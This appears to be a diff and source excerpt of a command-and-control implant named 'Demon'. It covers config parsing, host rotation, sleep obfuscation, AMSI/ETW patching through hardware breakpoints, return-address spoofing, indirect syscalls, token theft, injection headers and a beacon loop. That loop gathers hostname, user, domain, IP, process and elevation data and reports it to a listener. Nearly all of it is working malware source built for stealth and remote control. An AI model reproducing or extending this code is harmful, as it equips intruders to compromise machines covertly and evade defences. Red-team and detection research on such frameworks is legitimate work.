CfgAddressAdd( Instance.Modules.Ntdll, Instance.Win32.RtlExitUserThread );
}
PRINTF( "Instance DemonID => %x\n", Instance.Session.AgentID )
}
VOID DemonConfig()
{
PARSER Parser = { 0 };
PVOID Buffer = NULL;
ULONG Temp = 0;
UINT32 Length = 0;
DWORD J = 0;
PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) )
ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) );
RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) );
Instance.Config.Sleeping = ParserGetInt32( &Parser );
Instance.Config.Jitter = ParserGetInt32( &Parser );
PRINTF( "Sleep: %d (%d%%)\n", Instance.Config.Sleeping, Instance.Config.Jitter )
Instance.Config.Memory.Alloc = ParserGetInt32( &Parser );
Instance.Config.Memory.Execute = ParserGetInt32( &Parser );
PRINTF(
"[CONFIG] Memory: \n"
" - Allocate: %d \n"
" - Execute : %d \n",
Instance.Config.Memory.Alloc,
Instance.Config.Memory.Execute
)
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Process.Spawn64 = Instance.Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance.Config.Process.Spawn64, Buffer, Length );
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Process.Spawn86 = Instance.Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance.Config.Process.Spawn86, Buffer, Length );
PRINTF(
"[CONFIG] Spawn: \n"
" - [x64] => %ls \n"
" - [x86] => %ls \n",
Instance.Config.Process.Spawn64,
Instance.Config.Process.Spawn86
)
Instance.Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser );
Instance.Config.Implant.StackSpoof = ParserGetInt32( &Parser );
Instance.Config.Implant.ProxyLoading = ParserGetInt32( &Parser );
Instance.Config.Implant.SysIndirect = ParserGetInt32( &Parser );
Instance.Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser );
#ifdef TRANSPORT_HTTP
Instance.Config.Implant.DownloadChunkSize = 0x80000; /* 512k */
#else
Instance.Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */
#endif
PRINTF(
"[CONFIG] Sleep Obfuscation: \n"
" - Technique: %d \n"
" - Stack Dup: %s \n"
"[CONFIG] ProxyLoading: %d\n"
"[CONFIG] SysIndirect : %s\n"
"[CONFIG] AmsiEtwPatch: %d\n",
Instance.Config.Implant.SleepMaskTechnique,
Instance.Config.Implant.StackSpoof ? "TRUE" : "FALSE",
Instance.Config.Implant.ProxyLoading,
Instance.Config.Implant.SysIndirect ? "TRUE" : "FALSE",
Instance.Config.Implant.AmsiEtwPatch
)
#ifdef TRANSPORT_HTTP
Instance.Config.Transport.KillDate = ParserGetInt64( &Parser );
PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate )
// check if the kill date has already passed
if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate )
{
// refuse to run
// TODO: exit process?
Instance.Win32.RtlExitUserThread( 0 );
}
Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser );
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.Method = NtHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance.Config.Transport.Method, Buffer, Length );
Instance.Config.Transport.HostRotation = ParserGetInt32( &Parser );
Instance.Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying
* TODO: add this to the yaotl language and listener GUI */
Instance.Config.Transport.Hosts = NULL;
Instance.Config.Transport.Host = NULL;
/* J contains our Hosts counter */
J = ParserGetInt32( &Parser );
PRINTF( "[CONFIG] Hosts [%d]\n:", J )
for ( int i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Temp = ParserGetInt32( &Parser );
PRINTF( " - %ls:%ld\n", Buffer, Temp )
/* if our host address is longer than 0 then lets use it. */
if ( Length > 0 ) {
/* Add parse host data to our linked list */
HostAdd( Buffer, Length, Temp );
}
}
Instance.Config.Transport.NumHosts = HostCount();
PRINTF( "Hosts added => %d\n", Instance.Config.Transport.NumHosts )
/* Get Host data based on our host rotation strategy */
Instance.Config.Transport.Host = HostRotation( Instance.Config.Transport.HostRotation );
PRINTF( "Host going to be used is => %ls:%ld\n", Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port )
// Listener Secure (SSL)
Instance.Config.Transport.Secure = ParserGetInt32( &Parser );
PRINTF( "[CONFIG] Secure: %s\n", Instance.Config.Transport.Secure ? "TRUE" : "FALSE" );
// UserAgent
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.UserAgent = NtHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance.Config.Transport.UserAgent, Buffer, Length );
PRINTF( "[CONFIG] UserAgent: %ls\n", Instance.Config.Transport.UserAgent );
// Headers
J = ParserGetInt32( &Parser );
Instance.Config.Transport.Headers = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
PRINTF( "[CONFIG] Headers [%d]:\n", J );
for ( INT i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.Headers[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) );
MemSet( Instance.Config.Transport.Headers[ i ], 0, Length );
MemCopy( Instance.Config.Transport.Headers[ i ], Buffer, Length );
#ifdef DEBUG
PRINTF( " - %ls\n", Instance.Config.Transport.Headers[ i ] );
#endif
}
Instance.Config.Transport.Headers[ J + 1 ] = NULL;
// Uris
J = ParserGetInt32( &Parser );
Instance.Config.Transport.Uris = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) );
PRINTF( "[CONFIG] Uris [%d]:\n", J );
for ( INT i = 0; i < J; i++ )
{
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.Uris[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) );
MemSet( Instance.Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) );
MemCopy( Instance.Config.Transport.Uris[ i ], Buffer, Length );
#ifdef DEBUG
PRINTF( " - %ls\n", Instance.Config.Transport.Uris[ i ] );
#endif
}
Instance.Config.Transport.Uris[ J + 1 ] = NULL;
// check if proxy connection is enabled
Instance.Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );;
if ( Instance.Config.Transport.Proxy.Enabled )
{
PUTS( "[CONFIG] [PROXY] Enabled" );
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.Proxy.Url = NtHeapAlloc( Length + sizeof( WCHAR ) );
MemCopy( Instance.Config.Transport.Proxy.Url, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance.Config.Transport.Proxy.Url );
Buffer = ParserGetBytes( &Parser, &Length );
if ( Length > 0 )
{
Instance.Config.Transport.Proxy.Username = NtHeapAlloc( Length );
MemCopy( Instance.Config.Transport.Proxy.Username, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance.Config.Transport.Proxy.Username );
}
else
Instance.Config.Transport.Proxy.Username = NULL;
Buffer = ParserGetBytes( &Parser, &Length );
if ( Length > 0 )
{
Instance.Config.Transport.Proxy.Password = NtHeapAlloc( Length );
MemCopy( Instance.Config.Transport.Proxy.Password, Buffer, Length );
PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance.Config.Transport.Proxy.Password );
}
else
Instance.Config.Transport.Proxy.Password = NULL;
}
else
{
PUTS( "[CONFIG] [PROXY] Disabled" );
}
#endif
#ifdef TRANSPORT_SMB
Buffer = ParserGetBytes( &Parser, &Length );
Instance.Config.Transport.Name = Instance.Win32.LocalAlloc( LPTR, Length );
MemCopy( Instance.Config.Transport.Name, Buffer, Length );
PRINTF( "[CONFIG] PipeName: %ls\n", Instance.Config.Transport.Name );
Instance.Config.Transport.KillDate = ParserGetInt64( &Parser );
PRINTF( "KillDate: %d\n", Instance.Config.Transport.KillDate )
// check if the kill date has already passed
if ( Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate )
{
// refuse to run
// TODO: exit process?
Instance.Win32.RtlExitUserThread(0);
}
Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser );
#endif
Instance.Config.Implant.ThreadStartAddr = Instance.Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */
Instance.Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL;
ParserDestroy( &Parser );
}
@@ -7,26 +7,26 @@
#include <aclapi.h>
#include <windns.h>
#include <Common/Native.h>
#include <Common/Macros.h>
#include <Common/Clr.h>
#include <Common/Defines.h>
#include <common/Native.h>
#include <common/Macros.h>
#include <common/Clr.h>
#include <common/Defines.h>
#include <Core/Win32.h>
#include <Core/Token.h>
#include <Core/Pivot.h>
#include <Core/Spoof.h>
#include <Core/Jobs.h>
#include <Core/Package.h>
#include <Core/Download.h>
#include <Core/Transport.h>
#include <Core/Socket.h>
#include <Core/Kerberos.h>
#include <Core/Syscalls.h>
#include <Core/SysNative.h>
#include <Core/HwBpEngine.h>
#include <Loader/CoffeeLdr.h>
#include <core/Win32.h>
#include <core/Token.h>
#include <core/Pivot.h>
#include <core/Spoof.h>
#include <core/Jobs.h>
#include <core/Package.h>
#include <core/Download.h>
#include <core/Transport.h>
#include <core/Socket.h>
#include <core/Kerberos.h>
#include <core/Syscalls.h>
#include <core/SysNative.h>
#include <core/HwBpEngine.h>
#include <core/CoffeeLdr.h>
#include <core/Memory.h>
#ifdef DEBUG
#include <stdio.h>
@@ -88,12 +88,13 @@ typedef struct
DWORD Jitter;
struct {
UINT64 KillDate;
UINT32 WorkingHours;
#ifdef TRANSPORT_HTTP
PHOST_DATA Host; /* current using host */
PHOST_DATA Hosts; /* host linked list */
UINT32 NumHosts;
UINT64 KillDate;
UINT32 WorkingHours;
LPWSTR Method; /* TODO: use WCHAR[4] instead of LPWSTR. */
SHORT HostRotation;
DWORD HostIndex;
@@ -114,13 +115,12 @@ typedef struct
#ifdef TRANSPORT_SMB
LPSTR Name; /* TODO: change type to BUFFER */
HANDLE Handle;
UINT64 KillDate;
UINT32 WorkingHours;
#endif
} Transport;
struct _CONFIG {
DWORD SleepMaskTechnique;
ULONG SleepMaskTechnique;
ULONG SleepJmpBypass;
BOOL StackSpoof;
BOOL SysIndirect;
BYTE ProxyLoading;
@@ -129,7 +129,7 @@ typedef struct
PVOID ThreadStartAddr;
BOOL CoffeeThreaded;
BOOL CoffeeVeh;
DWORD DownloadChunkSize;
ULONG DownloadChunkSize;
} Implant;
struct {
@@ -554,9 +554,9 @@ typedef struct
PCOFFEE_KEY_VALUE CoffeKeyValueStore;
PHWBP_ENGINE HwBpEngine;
} INSTANCE;
} INSTANCE, *PINSTANCE;
extern INSTANCE Instance;
extern PINSTANCE Instance;
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs );
VOID DemonRoutine( );
@@ -3,7 +3,7 @@
#include <windows.h>
#include <Core/Win32.h>
#include <core/Win32.h>
extern GUID xCLSID_CLRMetaHost;
extern GUID xIID_ICLRMetaHost;
@@ -28,6 +28,9 @@
#define WIN_VERSION_10 10
#define WIN_VERSION_2016_X 11
#define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 )
#define LDR_GADGET_HEADER_SIZE ( 0x1000 )
#define PROXYLOAD_NONE 0
#define PROXYLOAD_RTLREGISTERWAIT 1
#define PROXYLOAD_RTLCREATETIMER 2
@@ -12,20 +12,18 @@
#define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) - 1 )
#define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) - 2 )
#define NtGetLastError() Instance.Teb->LastErrorValue
#define NtSetLastError(x) Instance.Teb->LastErrorValue = x
#define NtGetLastError() Instance->Teb->LastErrorValue
#define NtSetLastError(x) Instance->Teb->LastErrorValue = x
/* Heap allocation functions */
#define NtProcessHeap() Instance.Teb->ProcessEnvironmentBlock->ProcessHeap
#define NtHeapAlloc( x ) Instance.Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, x );
#define NtHeapFree( x ) Instance.Win32.RtlFreeHeap( NtProcessHeap(), 0, x );
#define NtProcessHeap() Instance->Teb->ProcessEnvironmentBlock->ProcessHeap
#define DLLEXPORT __declspec( dllexport )
#define RVA( TYPE, DLLBASE, RVA ) ( TYPE ) ( ( PBYTE ) DLLBASE + RVA )
#define DATA_FREE( d, l ) \
if ( d ) { \
MemSet( d, 0, l ); \
Instance.Win32.LocalFree( d ); \
Instance->Win32.LocalFree( d ); \
d = NULL; \
}
File diff suppressed because it is too large Load Diff
@@ -1,8 +1,7 @@
#ifndef DEMON_COMMAND_H
#define DEMON_COMMAND_H
#include <Core/Parser.h>
#include <core/Parser.h>
/* Commands */
#define DEMON_COMMAND_CHECKIN 100
@@ -1,4 +1,4 @@
#include <Common/Clr.h>
#include <common/Clr.h>
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments );
VOID DotnetClose();
@@ -52,11 +52,11 @@
#endif
VOID HwBpExAmsiScanBuffer(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
);
VOID HwBpExNtTraceEvent(
IN OUT PEXCEPTION_POINTERS Exception
_Inout_ PEXCEPTION_POINTERS Exception
);
#endif //DEMON_HWBPEXCEPTIONS_H
@@ -1,7 +1,7 @@
#ifndef DEMON_MEMORY_H
#define DEMON_MEMORY_H
#include <Common/Native.h>
#include <common/Native.h>
typedef enum _DX_MEMORY
{
@@ -10,14 +10,27 @@ typedef enum _DX_MEMORY
DX_MEM_SYSCALL = 2,
} DX_MEMORY;
PVOID MemoryAlloc(
PVOID MmHeapAlloc(
_In_ ULONG Length
);
PVOID MmHeapReAlloc(
_In_ PVOID Memory,
_In_ ULONG Length
);
BOOL MmHeapFree(
_In_ PVOID Memory
);
PVOID MmVirtualAlloc(
IN DX_MEMORY Method,
IN HANDLE Process,
IN SIZE_T Size,
IN DWORD Protect
);
BOOL MemoryProtect(
BOOL MmVirtualProtect(
IN DX_MEMORY Method,
IN HANDLE Process,
IN PVOID Memory,
@@ -25,18 +38,25 @@ BOOL MemoryProtect(
IN DWORD Protect
);
BOOL MemoryWrite(
BOOL MmVirtualWrite(
IN HANDLE Process,
OUT PVOID Memory,
IN PVOID Buffer,
IN SIZE_T Size
);
BOOL MemoryFree(
BOOL MmVirtualFree(
IN HANDLE Process,
OUT PVOID Memory
);
PVOID MmGadgetFind(
_In_ PVOID Memory,
_In_ SIZE_T Length,
_In_ PVOID PatternBuffer,
_In_ SIZE_T PatternLength
);
BOOL FreeReflectiveLoader(
IN PVOID BaseAddress
);
@@ -1,7 +1,7 @@
#ifndef CALLBACK_PACKAGE_H
#define CALLBACK_PACKAGE_H
#include <Core/Command.h>
#include <core/Command.h>
#define DEMON_MAX_REQUEST_LENGTH 0x300000 // 3 MiB
@@ -38,7 +38,7 @@ VOID PackageAddInt64(
);
VOID PackageAddBool(
IN OUT PPACKAGE Package,
_Inout_ PPACKAGE Package,
IN BOOLEAN Data
);
@@ -100,6 +100,6 @@ VOID PackageTransmitError(
);
#define PACKAGE_ERROR_WIN32 PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );
#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( s ) );
#define PACKAGE_ERROR_NTSTATUS( s ) PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( s ) );
#endif
+41
View File
@@ -0,0 +1,41 @@
#ifndef DEMON_SLEEPOBF_H
#define DEMON_SLEEPOBF_H
#include <windows.h>
#define SLEEPOBF_NO_OBF 0x0
#define SLEEPOBF_EKKO 0x1
#define SLEEPOBF_ZILEAN 0x2
#define SLEEPOBF_FOLIAGE 0x3
#define SLEEPOBF_BYPASS_NONE 0
#define SLEEPOBF_BYPASS_JMPRAX 0x1
#define SLEEPOBF_BYPASS_JMPRBX 0x2
#define OBF_JMP( i, p ) \
if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \
Rop[ i ].Rax = U_PTR( p ); \
} if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \
Rop[ i ].Rbx = U_PTR( & p ); \
} else { \
Rop[ i ].Rip = U_PTR( p ); \
}
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef struct _SLEEP_PARAM
{
UINT32 TimeOut;
PVOID Master;
PVOID Slave;
} SLEEP_PARAM, *PSLEEP_PARAM;
VOID SleepObf( );
#endif
@@ -9,9 +9,9 @@
typedef struct
{
const PVOID trampoline;
PVOID function;
PVOID rbx;
PVOID Trampoline;
PVOID Function;
PVOID Rbx;
} PRM, *PPRM;
static ULONG_PTR Spoof();
@@ -30,17 +30,17 @@ static ULONG_PTR Spoof();
#define SpoofFunc(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__)
PVOID SpoofRetAddr(
IN PVOID Module,
IN ULONG Size,
IN HANDLE Function,
IN OUT PVOID a,
IN OUT PVOID b,
IN OUT PVOID c,
IN OUT PVOID d,
IN OUT PVOID e,
IN OUT PVOID f,
IN OUT PVOID g,
IN OUT PVOID h
_In_ PVOID Module,
_In_ ULONG Size,
_In_ HANDLE Function,
_Inout_ PVOID a,
_Inout_ PVOID b,
_Inout_ PVOID c,
_Inout_ PVOID d,
_Inout_ PVOID e,
_Inout_ PVOID f,
_Inout_ PVOID g,
_Inout_ PVOID h
);
#endif
@@ -1,8 +1,8 @@
#ifndef DEMON_SYSNATIVE_H
#define DEMON_SYSNATIVE_H
#include <Common/Native.h>
#include <Core/Spoof.h>
#include <common/Native.h>
#include <core/Spoof.h>
/* define the OPT param option */
#ifndef OPT
@@ -10,13 +10,13 @@
#endif
#define SYSCALL_INVOKE( SYS_NAME, ... ) \
if ( Instance.Config.Implant.SysIndirect && Instance.Syscall.SysAddress && Instance.Syscall.SYS_NAME ) { \
SysConfig.Ssn = Instance.Syscall.SYS_NAME; \
SysConfig.Adr = Instance.Syscall.SysAddress; \
if ( Instance->Config.Implant.SysIndirect && Instance->Syscall.SysAddress && Instance->Syscall.SYS_NAME ) { \
SysConfig.Ssn = Instance->Syscall.SYS_NAME; \
SysConfig.Adr = Instance->Syscall.SysAddress; \
SysSetConfig( &SysConfig ); \
NtStatus = SysInvoke( __VA_ARGS__ ); \
} else { \
NtStatus = Instance.Win32.SYS_NAME( __VA_ARGS__ ); \
NtStatus = Instance->Win32.SYS_NAME( __VA_ARGS__ ); \
} \
PRINTF( "%s( ... ) = %08x\n", #SYS_NAME, NtStatus )
@@ -3,7 +3,7 @@
#define DEMON_SYSCALLS_H
#include <windows.h>
#include <Common/Native.h>
#include <common/Native.h>
/* Syscall functions */
#define SYS_ASM_RET 0xC3
@@ -19,14 +19,14 @@
#endif
#define SYS_EXTRACT( NtName ) \
if ( Instance.Win32.NtName ) { \
if ( Instance->Win32.NtName ) { \
SysExtract( \
Instance.Win32.NtName, \
Instance->Win32.NtName, \
TRUE, \
&Instance.Syscall.NtName, \
&Instance->Syscall.NtName, \
NULL \
); \
PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance.Syscall.NtName, Instance.Win32.NtName ) \
PRINTF( "Extracted \"%s\": [Ssn: %x] Ptr:[%p]\n", #NtName, Instance->Syscall.NtName, Instance->Win32.NtName ) \
}
typedef struct _SYS_CONFIG {
@@ -55,7 +55,7 @@ VOID SysSetConfig(
);
NTSTATUS SysInvoke(
IN OUT /* Args... */
_Inout_ /* Args... */
);
BOOL IsWoW64();
@@ -1,8 +1,8 @@
#ifndef DEMON_THREAD_H
#define DEMON_THREAD_H
#include <Common/Native.h>
#include <Core/Win32.h>
#include <common/Native.h>
#include <core/Win32.h>
/* thread execution methods */
#define THREAD_METHOD_DEFAULT 0
@@ -2,7 +2,7 @@
#define DEMON_TOKEN_H
#include <windows.h>
#include <Core/Win32.h>
#include <core/Win32.h>
#define TOKEN_TYPE_STOLEN 0x1
#define TOKEN_TYPE_MAKE_NETWORK 0x2
@@ -165,7 +165,8 @@ HANDLE TokenSteal(
HANDLE TokenMake(
IN LPWSTR User,
IN LPWSTR Password,
IN LPWSTR Domain
IN LPWSTR Domain,
IN DWORD LogonType
);
PTOKEN_LIST_DATA TokenGet(
@@ -1,9 +1,9 @@
#ifndef DEMON_INTERNET_H
#define DEMON_INTERNET_H
#include <Core/Package.h>
#include <Core/TransportHttp.h>
#include <Core/TransportSmb.h>
#include <core/Package.h>
#include <core/TransportHttp.h>
#include <core/TransportSmb.h>
#define PIPE_BUFFER_MAX 0x10000
@@ -1,7 +1,7 @@
#ifndef DEMON_TRANSPORTHTTP_H
#define DEMON_TRANSPORTHTTP_H
#include <Core/Win32.h>
#include <core/Win32.h>
#include <windows.h>
#include <winhttp.h>
@@ -10,6 +10,7 @@
#define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN 0
#define TRANSPORT_HTTP_ROTATION_RANDOM 1
#define ERROR_INTERNET_CANNOT_CONNECT 12029
typedef struct _HOST_DATA
{
@@ -66,19 +67,13 @@ PHOST_DATA HostRandom();
*/
BOOL HostCheckup();
/*!
* Query the Http Status code from the request response.
* @param hRequest
* @return Http status code
*/
DWORD HttpQueryStatus( HANDLE hRequest );
/*!
* Query the Http Status code from the request response.
* @param hRequest
* @return Http status code
*/
BOOL HttpSend( PBUFFER Send, PBUFFER Response );
BOOL HttpSend(
_In_ PBUFFER Send,
_Out_opt_ PBUFFER Resp
);
#endif
@@ -1,7 +1,7 @@
#ifndef DEMON_TRANSPORTSMB_H
#define DEMON_TRANSPORTSMB_H
#include <Core/Win32.h>
#include <core/Win32.h>
#ifdef TRANSPORT_SMB
@@ -7,10 +7,10 @@
#include <shellapi.h>
#include <winhttp.h>
#include <Common/Macros.h>
#include <Common/Native.h>
#include <common/Macros.h>
#include <common/Native.h>
#include <Core/Syscalls.h>
#include <core/Syscalls.h>
#include <iphlpapi.h>
#include <lm.h>
@@ -245,7 +245,7 @@ VOID SharedSleep(
);
VOID ShuffleArray(
IN OUT PVOID* array,
_Inout_ PVOID* array,
IN SIZE_T n
);
@@ -4,8 +4,8 @@
#include <Demon.h>
#include <Core/Memory.h>
#include <Core/Thread.h>
#include <core/Memory.h>
#include <core/Thread.h>
#define INJECTION_TECHNIQUE_WIN32 1
#define INJECTION_TECHNIQUE_SYSCALL 2
@@ -2,7 +2,7 @@
#define DEMON_INJECTUTIL_H
#include <windows.h>
#include <Inject/Inject.h>
#include <inject/Inject.h>
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
+790
View File
@@ -0,0 +1,790 @@
#include <Demon.h>
/* Import Common Headers */
#include <common/Defines.h>
#include <common/Macros.h>
/* Import Core Headers */
#include <core/Transport.h>
#include <core/SleepObf.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/SysNative.h>
#include <core/Runtime.h>
/* Import Inject Headers */
#include <inject/Inject.h>
/* Import Inject Headers */
#include <core/ObjectApi.h>
/* Global Variables */
SEC_DATA PINSTANCE Instance = { 0 };
SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES;
/*
* In DemonMain it should go as followed:
*
* 1. Initialize pointer, modules and win32 api
* 2. Initialize metadata
* 3. Parse config
* 4. Enter main connecting and tasking routine
*
*/
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
{
INSTANCE Inst = { 0 };
/* "allocate" instance on stack */
Instance = & Inst;
/* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */
DemonInit( ModuleInst, KArgs );
/* Initialize MetaData */
DemonMetaData( &Instance->MetaData, TRUE );
/* Main demon routine */
DemonRoutine();
}
/* Main demon routine:
*
* 1. Connect to listener
* 2. Go into tasking routine:
* A. Sleep Obfuscation.
* B. Request for the task queue
* C. Parse Task
* D. Execute Task (if it's not DEMON_COMMAND_NO_JOB)
* E. Goto C (we do this til there is nothing left)
* F. Goto A (we have nothing else to execute then lets sleep and after waking up request for more)
* 3. Sleep Obfuscation. After that lets try to connect to the listener again
*/
_Noreturn
VOID DemonRoutine()
{
/* the main loop */
for ( ;; )
{
/* if we aren't connected then lets connect to our host */
if ( ! Instance->Session.Connected )
{
/* Connect to our listener */
if ( TransportInit() )
{
#ifdef TRANSPORT_HTTP
/* reset the failure counter since we managed to connect to it. */
Instance->Config.Transport.Host->Failures = 0;
#endif
}
}
if ( Instance->Session.Connected )
{
/* Enter tasking routine */
CommandDispatcher();
}
/* Sleep for a while (with encryption if specified) */
SleepObf();
}
}
/* Init metadata buffer/package. */
VOID DemonMetaData( PPACKAGE* MetaData, BOOL Header )
{
PVOID Data = NULL;
PIP_ADAPTER_INFO Adapter = NULL;
OSVERSIONINFOEXW OsVersions = { 0 };
SIZE_T Length = 0;
DWORD dwLength = 0;
/* Check we if we want to add the Agent Header + CommandID too */
if ( Header )
{
*MetaData = PackageCreateWithMetaData( DEMON_INITIALIZE );
/* Do not destroy this package if we fail to connect to the listener. */
( *MetaData )->Destroy = FALSE;
}
// create AES Keys/IV
if ( Instance->Config.AES.Key == NULL && Instance->Config.AES.IV == NULL )
{
Instance->Config.AES.Key = Instance->Win32.LocalAlloc( LPTR, 32 );
Instance->Config.AES.IV = Instance->Win32.LocalAlloc( LPTR, 16 );
for ( SHORT i = 0; i < 32; i++ )
Instance->Config.AES.Key[ i ] = RandomNumber32();
for ( SHORT i = 0; i < 16; i++ )
Instance->Config.AES.IV[ i ] = RandomNumber32();
}
/*
Header (if specified):
[ SIZE ] 4 bytes
[ Magic Value ] 4 bytes
[ Agent ID ] 4 bytes
[ COMMAND ID ] 4 bytes
[ Request ID ] 4 bytes
MetaData:
[ AES KEY ] 32 bytes
[ AES IV ] 16 bytes
[ Magic Value ] 4 bytes
[ Demon ID ] 4 bytes
[ Host Name ] size + bytes
[ User Name ] size + bytes
[ Domain ] size + bytes
[ IP Address ] 16 bytes?
[ Process Name ] size + bytes
[ Process ID ] 4 bytes
[ Parent PID ] 4 bytes
[ Process Arch ] 4 bytes
[ Elevated ] 4 bytes
[ Base Address ] 8 bytes
[ OS Info ] ( 5 * 4 ) bytes
[ OS Arch ] 4 bytes
[ SleepDelay ] 4 bytes
[ SleepJitter ] 4 bytes
[ Killdate ] 8 bytes
[ WorkingHours ] 4 bytes
..... more
[ Optional ] Eg: Pivots, Extra data about the host or network etc.
*/
// Add AES Keys/IV
PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.Key, 32 );
PackageAddPad( *MetaData, ( PCHAR ) Instance->Config.AES.IV, 16 );
// Add session id
PackageAddInt32( *MetaData, Instance->Session.AgentID );
// Get Computer name
dwLength = 0;
if ( ! Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, NULL, &dwLength ) )
{
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance->Win32.GetComputerNameExA( ComputerNameNetBIOS, Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Username
dwLength = 0;
if ( ! Instance->Win32.GetUserNameA( NULL, &dwLength ) )
{
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance->Win32.GetUserNameA( Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Domain
dwLength = 0;
if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &dwLength ) )
{
if ( ( Data = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
{
MemSet( Data, 0, dwLength );
if ( Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Data, &dwLength ) )
PackageAddBytes( *MetaData, Data, dwLength );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Data, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get internal IP
dwLength = 0;
if ( Instance->Win32.GetAdaptersInfo( NULL, &dwLength ) )
{
if ( ( Adapter = Instance->Win32.LocalAlloc( LPTR, dwLength ) ) )
{
if ( Instance->Win32.GetAdaptersInfo( Adapter, &dwLength ) == NO_ERROR )
PackageAddString( *MetaData, Adapter->IpAddressList.IpAddress.String );
else
PackageAddInt32( *MetaData, 0 );
DATA_FREE( Adapter, dwLength );
}
else
PackageAddInt32( *MetaData, 0 );
}
else
PackageAddInt32( *MetaData, 0 );
// Get Process Path
PackageAddWString( *MetaData, ( ( PRTL_USER_PROCESS_PARAMETERS ) Instance->Teb->ProcessEnvironmentBlock->ProcessParameters )->ImagePathName.Buffer );
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueProcess );
PackageAddInt32( *MetaData, ( DWORD ) ( ULONG_PTR ) Instance->Teb->ClientId.UniqueThread );
PackageAddInt32( *MetaData, Instance->Session.PPID );
PackageAddInt32( *MetaData, PROCESS_AGENT_ARCH );
PackageAddInt32( *MetaData, BeaconIsAdmin( ) );
PackageAddInt64( *MetaData, U_PTR( Instance->Session.ModuleBase ) );
MemSet( &OsVersions, 0, sizeof( OsVersions ) );
